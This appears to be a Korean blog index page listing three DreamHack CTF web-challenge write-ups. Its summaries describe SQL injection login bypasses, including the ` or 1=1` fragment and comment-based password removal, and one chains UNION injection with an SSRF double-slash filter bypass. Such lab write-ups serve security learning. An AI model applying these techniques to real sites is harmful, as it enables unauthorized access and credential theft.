[๐Ÿฅ‰ Bronze 2] ๋”ฐ์˜ดํ‘œ ํ•˜๋‚˜๋กœ admin ํ–‰๋งŒ ์ฝ• ์ง‘๊ธฐ โ€” DreamHack simple_sqli ํ’€์ด

๋กœ๊ทธ์ธ ์ฟผ๋ฆฌ์— userid๊ฐ€ ๋”ฐ์˜ดํ‘œ์งธ ๊ทธ๋Œ€๋กœ ๋ฐ•ํžŒ๋‹ค. admin ํ–‰๋งŒ ์ •ํ™•ํžˆ ๋ฐ˜ํ™˜์‹œ์ผœ์•ผ ํ”Œ๋ž˜๊ทธ๊ฐ€ ๋‚˜์˜ค๋Š”๋ฐ, ํ”ํ•œ ` or 1=1`์€ ์ฒซ ํ–‰ guest๋ฅผ ๋ฐ๋ ค์˜จ๋‹ค. ์ฃผ์„์œผ๋กœ ํŒจ์Šค์›Œ๋“œ ์กฐ๊ฑด์„ ์ง€์›Œ admin ํ–‰๋งŒ ์ง‘์–ด๋‚ธ ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-20#dreamhack +5
[๐Ÿฅ‰ Bronze 2] ์นธ ํ•˜๋‚˜์งœ๋ฆฌ ๋กœ๊ทธ์ธ ํผ์œผ๋กœ admin ํ–‰๋งŒ ์ฝ• โ€” DreamHack simple_sqli_chatgpt ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 2] ์นธ ํ•˜๋‚˜์งœ๋ฆฌ ๋กœ๊ทธ์ธ ํผ์œผ๋กœ admin ํ–‰๋งŒ ์ฝ• โ€” DreamHack simple_sqli_chatgpt ํ’€์ด

๋กœ๊ทธ์ธ ํผ์— ์ž…๋ ฅ์นธ์ด userlevel ํ•˜๋‚˜๋ฟ์ธ๋ฐ, ๊ทธ ๊ฐ’์ด ๋”ฐ์˜ดํ‘œ์งธ ์ฟผ๋ฆฌ์— ๋ฐ•ํžŒ๋‹ค. guest์™€ admin ๋‘˜ ๋‹ค userlevel์ด 0์ด๋ผ ํ”ํ•œ or 1=1์€ ์ฒซ ํ–‰ guest๋ฅผ ๋ฐ๋ ค์˜จ๋‹ค. userid๋ฅผ ์ง์ ‘ ์ง€์ •ํ•ด admin ํ–‰๋งŒ ๋‚จ๊ธด ๊ณผ์ •์„ ์ •๋ฆฌํ–ˆ๋‹ค.
#dreamhack#ctf#web+5
2026-06-27#dreamhack +5
[โญโญโญ] SQLi + SSRF ๋”๋ธ” ์Šฌ๋ž˜์‹œ ํ•„ํ„ฐ ์šฐํšŒ โ€” DreamHack admin only ํ’€์ด
blog

[โญโญโญ] SQLi + SSRF ๋”๋ธ” ์Šฌ๋ž˜์‹œ ํ•„ํ„ฐ ์šฐํšŒ โ€” DreamHack admin only ํ’€์ด

SQLite UNION ์ธ์ ์…˜์œผ๋กœ admin ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํƒˆ์ทจยท๋กœ๊ทธ์ธํ•˜๊ณ , /profile์˜ SSRF๋ฅผ ํ†ตํ•ด //getflag (๋”๋ธ” ์Šฌ๋ž˜์‹œ) ๊ฒฝ๋กœ ์šฐํšŒ๋กœ /getflag ํ•„ํ„ฐ๋ฅผ bypassํ•ด FLAG๋ฅผ ํš๋“ํ•˜๋Š” ํ’€์ด.
#dreamhack#ctf#web+6
2026-04-30#dreamhack +5